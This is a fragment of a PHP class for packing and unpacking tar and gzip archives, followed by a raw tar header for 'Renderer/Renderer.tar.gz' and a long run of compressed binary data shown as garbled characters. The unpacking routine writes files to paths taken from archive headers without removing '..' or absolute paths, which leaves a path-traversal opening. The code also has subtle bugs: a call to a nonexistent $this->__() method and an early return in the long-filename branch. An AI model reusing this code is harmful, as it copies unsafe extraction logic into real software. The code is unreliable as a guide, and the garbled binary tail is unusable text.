		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           Renderer/Renderer.tar.gz                                                                            0000644                 00000462366 15217306007 0011231 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             	<8۲%J"ƾ}}c03c)=$$d)[քER(!9Uy߯ޏS3˹{9瞻@QH4B<7ñ>$ُ$𑓑a<𑖖H¤%`R@,L"㇟`fF]051@>0P|evSzRRr!L>w<{=$] t޵"㩗Wo(j
5M'Ҧϊz[*VpPm+VȷqBiY>&3g2_kk
Ŀ}3vwצ7ԏ6m(_kULQ<@e9i;r&}i)mF#.-
I-Wğ7'2q#O5Pǎ_Ok|dAˆl˴Y3[<ٱ^wa>Y˳O挍]y+Û`zG]wڱ0J[*
 '0씗R+,biG%^tVGxȾؾ$׷8NO0Eb/IΩmͯoF.O,0Ks(WzvwxqLDڗL}?ͯ;qGDи}N8*2?<Vە 1p}PMzFCb4p%V[mX3G4~͝O}hSܧҏxeߔ1_lh>n8&'`Tٴ3w/"NiO5&t+lsv&S^_v.'s[gNj@9_2/tJ|3 P9%a(e{4{z&#)FsxN2>zCƴ5a^7xS`"3]S.3MǊz;	*an^J-͑KݣWTħ\ێ>R_{~c6e-'׊e}{-:vK 6'#G8Jɜgx}7tu*-"9-?wRו )-(>17ќM!G=2}Vq1NAdb/Mt9˝POGj<{ 9S#)Yz}ҏϥoz̨8笟{mYmѮٹFyo{>.2'A=[q
^;+G/湑xi|GE)6wGgCoK7;xDRf$'p<)*g]脽e49uC0%>h.KΞY'c_QiaGY$,Ͼ*ԻȢCIOj/YN("6V4٧$ɥw7
c6qi[s>]7ۯ\Q+wL-)s;Z'Z3 $m\%M$C˲h]G>}Z?C=<Mۂ㱕OzQhtlk3v>+e<9vDsR{`[`Qvi'mn=Nmd.ox@ٱi]T*+3*1!ζ⢑Փo۷~tپBRtKhIqUMr`h-m6C܌ǆ*M(sTdW2%O&ZpT2\2Ky\bCe¼4%q#Iڥ'|qkv9er,M-s^;r$(Mą]LGow,xuelp߶Esw^Hx`%ߧ=.5Z]G<:maີ@f[Ei)]'[	喫B>	`{ ~Ҥ({*ڮ^,UxݓN.͆8R?>y;I	NyWOx[?Y99i?0els|BGc4WX^m~cEChE>է7@3{2WS).-8&|5Mvv*Ӑm6Տ43ߪc^mw] )7C.N9'45ekuejNB9ES>?Qg;HYlɽ5C/y^eB~W9M^NV7V?^.{lmޯ"/|9̻,7%ݾ?Wj>n{7-/-`?L/U/?כn_t["zˍ+7Xp=s{Bn~W
/*~twK럨H>UG7|&yR
ׅa꽔j_.Fubo޽;'bV-zyca{^Ełn{ǿNoFb>n/)7$"'{~1G!*EyIdcL_E})sϑ<6wcM9sՂlOnd__f>sDt/ˉf/[؋\1F쟇>F[ͺ:%罯RO˅v1.p}<ϒ%g92gՔwdTD~eMcޠXMfZǤgT~mYccdȣMuf/n}awP7Uٺ$Co=vVm%/Blc=N~$1i){
⌟:R^oz`|h`B<zfk/2nEe5(f
ѽsgW^}Nd3A3;(pP2Bߓ"OYБn9a^ot/#֍MS!HLi4'$^<wjpom9T(VՊܘD\(;}zC2ovCWMCJ]8F_S^ndr\ɖS]A%ýbw:uStD׾-)횡r2yR0ĐɄrp2/RqLRpzOr	R(>g2ϔUݼ^uJ~;ǡ3HER5XC`ɌAՑ_2j$6_ip*ώb0THU;f(Z+ejzg+uC"&[O2;mU`"^#gZj~!=oO_ޔ
yԈK㞟2*u.C8ݶ3ϴ;UGM252iҏG?uuQHRʝ̴E2_HHk
?RC՚Ԧ)-6˸ܤ8CĶ6ҩ?oP<=<Us|y!\̚;fl)EUIަ-Poz<ò0ؗMBd<LM$Ӯe<'?<'{]x Y/ju'aSebsJ˞[-3\l:g>!Q?ûK<Fg_Q?䌈m&2^c6
yh{h^ֳG_߷W##aNRr'r>,=,&Ju^ӤYA~u;6mLPAW䠼AMgOGQkԈIuد	A?wxצ:l^]dGĭԪYAB4b9:P._}3zKΎq|pHPAriRCDJcf6mKr(Otj:S;D+2*卆o')M&Jw`?iEm6d6ɖ>QE$.gsR#1I7KJt+NōMg+t=sqgtfGucԺE6|U>oOUr)Ƃ"tD>zk3~d5m8q%]s&DpFg{u#ﾓ,EZq[Dd}}ܘC#:$9&w	b*Z!Fŗ\-e.'M&iԜ4zp%2v|37yhq: ?zmcN	-yGb	[zwBky1zH*#TC]?FC?4&<}T"h`Lт̟.,2mT6ˍ*HI^*VUOSځu`ʕ+'	*!N;ib@&DuS:i#5颊/fK1|]>EHD>t;xM⚣cl |nA#9ȍwvFA*} !?vy4Hkpo͎Iwu{ZNKcWKzc\^K=fYKf%nt-81sf9zY;%>^8*c)ּФ~z/#Sѽr:攭xelIUQɌ}	6ilAmKz g}azbѷn*1BdGX8//޶҉n<^B"VY$6Y8АL=4v5.#-+\&Ee2|[(F|&E^K$/K}hj[_nAW9$ѷ畵yKzvTMcl4Ǘ	eAe$Uy3Vy-୉<]KsmL \!Y3_:&'vL_-JFϡgc"b*ѱoT'|[	ߺ|9Խ>|˿(_yt*}wF7	[nNgj5ׄ~1Cvj-{bi]4V*&CN^(c5cYR!;~dRìU[zS:P~RfIA?.#V*L/5|_d[ۉt~ͣۼs;5_"gziZ	rskjѩlTlRcU>!IB왷LRs'3N2SOӤk6S4P{2~9T.h7D{u!(y^q-=;+{D9.d^k.ylNOHXLvb*0I\>[d3ih	#PGsf0JZW$qʗuDeD+s}Zۏ/|SSfmsscJBSkZguۼngȪxt3Ý\&~5%)j_Mx-
I/BOGִ4ƕ@oS;WRp0da;dif0;ޙ5W]J&axx&||ђܖ9eH(f_cgXk˗4KP=MF$^1AWK0Otak`1lUm%SRiÎz̔w!1S[RLoK{NմFAum1M-|[3OVAoը^̣_LYXbIz"vx7EʆWfΔ\}`mJ9kzrEx#fMs<G*Apgo✉gC轹?h>T^op.y.n1ǡcS~H3ɵqyIa&^v
_)||׺d0O'0쎷ى{*+WrJ>G'{<"L-`Ϩo(}=>PjKɣHU;繎6-:9د{<W7xk_[幚Vi\wDr8H9q],аnCړN,MI,ϼVfaш9Z'v,`XqBkŤtUG1րg4zE;FS-0zrWGNO>o!CYEiҝբM'ޙBv2qФή9!EQŞt|qQxӾ$oKҮ):>VZCN/}~:wũvTAՙ2UNבw|>}9.D[Rj>JS_>s#Pǻ|p6KC|LW*:a]/9h.PX>t`uYA2SF]<	)[sNDÐe;$G$b^1b*MqjH-<.QdMh-~³MΟg6V>Jx}}˻-$༭~̋rJG|V]PyAyc	&*a1=b[+Ń'v09DW¤e5x@fwipu~K6<g-.dUj/ţc_5K؎#:uH>Cc(X5!A#_ViCٍ3oæ4tALꨏѸs*n~O#t%Z~Ze搜O/Iu{̈.fV"xqpLQqyAlׇ>b󧉔=:Cg4[}twsG$	>	DAƬƃIN_r?Ԧ^cߧ., {+ґWӐǮ6T6xKdVE;H=8K:\'qk@sf*}\%T,>޷OE84?F߰)/H_:D㈛2 	ps&+$]]f=YF{$+HN4-Th-a{rX@)&ѯָы l	?l+&q[v&1⦛j2Mia$|4Չd-;s81I\/^Kyd.0zQ-*WiH[/$>վ&+]^KԖ[xkǶsi6ylrXwQ訒6
*CJǄ6e$kɖin
WzXSb@y\}EZl; 1}Ui8-swz)aR>/YF{ؒ.M3iXWmw.,Vn- 1eH\M7/"M~Ƽib9(8ȣ^Sˌ=3]k'y߅YGL~Hx_G5)?û#2#!q^sP;tݎAۅ{#<=d,v_igN*kn[>h|VGz3glGuW\&V!TKb_Yɸ sq׶ߧl是}ϖ<Rz`<TcR>5nvc>nNjT/uҼpTB`J<ҥ
ZdZ.=p{c9CF95wuT(Zu\ڐZjؾ Q_BīLh}N0d|^OBU3d0uM/Hӊ:D.nY4.V7yCj-H.Dd<u9[XcDؗ{ӑM.AsqŢ!TY.w])8ӱDHЏ'[c5t]R4&77(5wȒս|AT}VȻs%ۈ}>}I*PVKTQ^miF^ߠ
87陒d}Ǌ;F_3QIGߦz7oR<>.ّ4t1qiSS*TC.M˕4>|z:RzKR1rD2k)S	Dڅr>#I~W\a	Z_*9jUzxtH{a/89ZlV(ihLҴ7|\]4)g)F)6Ψzuu7YdyTEn/l˹B]< Wi|j1bf|E ~<mdR$GgN{V:ILmv!S-XLoV7Jig4ţ'*swΒVfN&g,d1D}YEmFf-ʩGRbP,e羕V?g~Ö,*Me<ɞ~/謁+7rn}ynx&ȰcNv9~-|hi2ڔS#G1ɔ!gIpk+kYv+=yt<AoL@Χpjtkqǂd=UUvG%bL-EԱqzu^U"EMһ]<nhƬFj3ouy8,aGN%hHt	\(jXt110ISs3ة-"Iyk8=p?Yz9i=wl6Aa)](-Uɖ&mN{T66i:eu6d@2u%	#i>4܏Qʆzxg.e)3`'MwnY ɚ=L+{q0l%\nx=o_.~wk/iI?/m@5ײ A}e òf,J;)5If.5eOHotK-մt7lk&N3"M)Q|M0ct7k]ȱB ݌.NO{G<Hԯ-R.IG	n?y2-v\䣅w
d_8羥ZPYvSCgT%I/1^tۿS6Gv3V?lbGȥTMSb1G7\nV{#U{+Mz_˷'I7xʱy츫C^ڎgI&&u^U$4Rs^[SܫFEF{no0HCNUv)rot.'tM+`ǚr|Iwq%i_ù͋&O}ODeFA]Mmpܾs[Bkk1O(/+T&GK4aFtAf:n,%\uxFA~7K$meOdQ@ԛFvq멤\TtQ]]l-NRŽTD!kCjgr뽜6L#F( qoT\7+Rܪ}2	Qb26-)Kv:&,{1L-_z=|bN<QSTq_,C;_d\~y|^CT!v5kǾTzt~x1nkł^ȗ{P}*n5s1WO_Qvk`7׳IYm,3;16(WjM?3K=Vg
}hf~/xJe0e% /,)5 C:']G@d҅+1<嗏:m\X9ݴ'nUS{ș!xAsҒHqgdNȪ-6ۓHU8F%Fy>͸2-PjKcȫe&Iu5X;.Z
ivVLog8&/~l0vrd<,?࣓Flz8{l|Mv2ʮ>n#wTOu=Q8Xr8%4aGCB[_ʥ]9W^twj&鑊&c\}msu_Ds$}S\,zPǚs5*8Ǝ 2(͇/jl+v~)PkRN\'!9ܶt0|^63#4,؞Zp74Z#X&Y<Oΰ-2GHpM?u EPj+U#'zZ^`яvsEKf
hOQWDӿ	pke@[}	Ls= Yb{\j׶3Уs'ulOөҟj]SXFZK):kUk1]/YbpR\˾/cA٭P%ًdYb2VNT[FMӎ<b\hz'66CBg+1G
[x955]]zHG#ob8B/DHL}xsMIz[khG>Odh^~|DmQT+OԄa[ܙKwR˼mVy)'^<An\.ﾏ&.A2OoSllvQ킾*->SmG7`;ZnR>Ɯ5Ϡ1E^ҲζGs>Qr~6"FAA-n+8sLׇhF٦Gou;UCGo:R(1$;GJ>F:OO]OKm']ʱD+]ɩ:|JLٛ8ǥÇdx,{r)o]z遛pϔqijbhcjoNz7-=yVէk//Pwe>~q'B9SdOp+fI;,5#,4[Yk1&N~ys\Dy)4){QMiγd_w>C{έU8s某h$0Y	~~-'mRS4x]2}a)K)0hhv0|rP,;Z_q!e~7-3}>[-5/$]ΧD]Hlmtkd%cCMe"J7~ێ~(	Ӳw墿Pۥ4/oT˯@#:yUC;y}gϫh)9U^tٮ5m[49nq[R[qw˫rPrIus>'s3÷ħ-j):͘lsO?<A}R~󩡉rv#,Jk|#V4ps˔Bư 59=N=5['[{EͽS{z292%GT>H}qJ'4sH^zr'沧#TiޔPiy=Ä3DeQ5J?1(ՙd1+g:[o{DHۈw@ϩwp<uVG:;Od0askBy<i|r.o3:\2P(?rW5&SۜvUWnىu6{H)m1M!v	]u1z[]IUÝfCXJ򨐳0UԘfEK\0)gCM';ZKetF[eh_v>;xٸܽ-t;JU^~#jv\dVe4𒟠#jHv1λm}iEwZ;%RKvwץ:~*q%r;c-WVt"Eo~ѪFN)`.&kT.2zε禔Je lC8)P˥zٲ'$ǋOY<+w|Au4Od,˓Ujɔlh>8'x>}+)Cfԕ6Qjܮr7lwB#1CqT=-mq!B1B28o_HG<+8~}.O:zvWL`dBnh-^ogam-&MYgvLIRզRz!gwYir[!gh{f=Kѷ^f2qϡJ݉"~ʴ 3v<փ=r39eӚ5؁Hi	/AEJ5ζ_*JLp#)e7gnD1Iދ<R~]ȋsBҴ[^ޝfk$h`-j()8Pl l))+Y2Ŏv&on>D]>{uJm#934Cm}LK8$v݅÷DO۽S=5`G	]ޓ#{(g~ďg]=+%1p˝E'!% Iܦ$Ji|^zApU[Uvw.x;-ٛڵB/yϮUH#5V\>./em+O<E.Vqc5k0>igO˯߯}nls~ODo1nK5E.PIKXz:2"XE޲dwלߊ}y'Yq񄇇n/_Ⱥ2yc;{|
{Իƹhƞo[],Ko`(cU0'ۧ菖6_\kYh0E$i7ؼ>p.ma?=fd|辺L!-o\OxT_O6:ABEf~YRѹt^bt魞񓯺;zkV]ϺYg<v=D0Hs%,g6cd-&cGuȜ-no(v?*Sh>?a@p7ɚ>poгSuZ>?M9la7H[nup?2yqz$&QSUʈ;U+'B{xmq!l~	SI+;:Q-~gQ1G%h|5tŸHĮsl%ڜ&lGc<|rqOxG#$'ۍ*L4JՎailCw
1,QMU7g7rE-j뙤F:%pOgnk!sc`*XK뼔%:PavN'ԸG}u詤ޖ=%ЏpJ*[zA˞MQm,^|QI2ꦡV-A;"F7ުB uQz܇*6eFcђ81lF<I'g>0yQw*ư
mx1AIY77,}`dHÃ%㡬1׺'ׄ)2ERiX0=T.rGOVM#z.^= 恟6[2VAa{GN{4<aҖƟgFU쎨aɐQ?|{DIɫ^JTҗ-n-}u0oass;##v)^3p|ԾT	SrwwmX-h`;I)^r̸T)[=H[ӱvZewf]2HJ"dg%T?ܨ.S%'+zoXn5K]-X\jj\W*Nr.Coп4sQ9|;Dā,i@Q+wWJ74YyQGKsQJ25FsgdWd{]Ֆ0dd^3ʻn;؅pzӣz~ӨvKŻg'f<D=f>}dZ3'S_vK1D{3o,=^{yg#!z_ΥW%<Z* ]/X4] =ݛNFo-NejTGR>Ybsu
י;J\.6|T=qkZ׽V=l;%qGo9'IȠnooaN2Nߗ!a㥘o|+1Yd)U';%={)5K-5/vޥg(^R)xy{3D_c-Xyu4q9cw,?rNt2 6>q&Y_Nn~}N֘3=us\9SzbDL>>J17y}UCѧɿD˽?:peL` h+L8=jrGs0`s{Lzғ7?SPfOnb\{k^E!%,C&k67u_ɆQ_olFww?d
4KL)ﾛGז~HJQϤ]à܀l#fXE*+b-!Y戉$7Fu~HѩmM4
&Qӳ/s/ܭBb.p#ks&=}NfeíTSz6e!GQ[۰;&'VIQu([>Pʀa]QiI9=U9$濾y_Tl%lE{UYE|ǭ+14
C'f!wDtwO?<wƼPc҇ӡ%h#~B$+Ǭ)G-B?Mwf=.taڵ#J_;#3};"X˹O6_^8LN:ΔIl^Qyw1M3~i%wM|MUT״$ΆXN:4wɶj+ιQ|RY'2DR{Fi<;vtsM=מG/N<ߧV(ה}G4Dq촮1Rtq
|\aY'rmJ=613N5>4	4dtŽTv;U#gƯ?dim\P=ኑ(4.yo搎fjm|[<W
"EkT=2NVh%dq*!:PMyl=C齉"w^enΑ!eq2̮뎾#w"\+,vU_d-Qdxn=y]cuy+_z1}ZfltףňM!wU¤MԸ}[A9+3xG6 [Q2A'[o;|;=K`d@owx>hYb4F/ڣr><-z2Qa>FġC&ar\@G#4ɵSԱk0m8:k\K6KW$<<&(SMoN#%FA}
Л}z(Vgf|Y?ry?sܭf>bfٜ_j&`nT/yD^|TH+gq#EZ%.<^TK_2]_3l9/[g&wb՜历2m
?۩t|:Y<$&k[jѻ]oOusI:A஢@/k:{	;*yzͲfI&e)7!TT<0IڷlUsݫT_m|QJΐz$TsG{^G.LTz}m0-hߦ9Ė(؇[s'50YN>87	JKPē]^/wؑz̏SFS2*_u]2ƵвлkՓ(83d=y'ݝ[*|Y{T錣IDK?)ʬ.RލY2y̲s;+͒JxpfsښׇKˍG]<ϚpLv13HwWFi5'Ze+kL%<w&wRr"JOX@Y5<1UF:}TO%[:ݷOAl7:.rh47A*#J(rq< ̃mGAJQ%\2Sjظ*\8Τ'yGC[SJ,?0~+GAoG:gZK.Q8 RPBJk0b"m{jǓ3u8WvƖI1޼竤IPu.¯WO(YzPDioqGXv[$)|.ۧJG3=SbsIHڸpP;qLgvD,o8T<707~6_O[*Qwމ{N].s)|[8a^Yj:$Uh_m<b߲` sw]f;%|xC2'wU5:/pHqb՟ٔk}2cށ	O|'#X$R$zOvFG$u/L~-Yxs!(,=ڍŹ.HC9{S֚o^ {iU,L_(K.5={.LD-}RH ̜`Y(0.WE!cw7{:37U;&n@ǒQϭ"[OQhk1h\P8rQoƘptQ1xÀ3I'署{B>D}"AhmN'%I85֝۟.GLIޤ}oaBIdNؾ>]層/CFJUJ:oꙹNilA	4eT:yyHc'lύ#|bi:y:]	qN}0/ԑ=nEU8Y=$VWLo
gR^?~[O(Z71#aj)X,PI\פCBMt,G\V_V>CDsbC&PZ3vd%r7i7uDX2$ܡZM9Z:'VT1#u|>"о3W}
+ݿ{6WCsv11sf<6pl"ǞӧE99'_(B|#>90W/k\t1a&Jj:ƸXOR5^ψn>9	d1"t^yHdC8Jq;uBf]՚lϴ#߰gIɾXiJkryl\ČLp9>!mb+:@0vLxs'L$gvoiz,FYBy:>\}^1b/P e$ߺCngMm.y}r<Y~|^p,=Հífyͨ>o3;xlf[덨5ߚǋfrbupalK͌u9n)ST+għ+~?Q^o>dgkx5Eܨ\s]:ZmLnp{yW9d.'"|dH51`/l^Bg&nEk˔R;)yzZ9z-Ub˧|{)̑~4dbx4KoDvA+l]4Q}1mL
Ik㉮=u߫*r'Ty(`TxuɴO?عS2$-9{OPR0=0ۖ6Չl{9zfSXNp;F~ߥ^Һ"f!%f̢/sd<eX?:_PoEQ
!zAq6שd{3zHe?z;(S^D/..v䓱.	A_xgmd9#8VZSGS %;+"\Clk=47ٛ6i^Xyca7[כ|<1p2'1Iin<McYIF~vЙ6/lKw(LĶmiܽ泲l+vԌcewFFFWT`(}4%5s/fuw!T|rbq<A :])+bMG3,r尉Bhg8Ǟ."TvQ:yC/\RNjJRN?l;T;@r/4'lI^Χ9pvb"W؎M[Oa(}VR=̱'qEDjR0qwuN>-mˬq#N4;^p%TLPTY(頮B1ilqMdJϲﲛ^y"{푈▶Db*jH堑giӉ$Lsnv4,2M>*=_-P:=̼ tݽ=H"wta[C3tu+9tlB))z`ݞ).uLWcuo,	C.^]l1+X5td߱}\cR	e.sAo.?>q\PT>眊kыC*s9"㿔z]|xqFK낯%l2pe,fԫuܛi
}Ɇaajj*cYaLۆCùslP?Wv+9I<$q؇5ɨ>pH	01aH)0(J4xҝ/esBSk"t$-~nUAHX ._o܏(>{|ajϛs.G.̎~a/ufNsXF}!
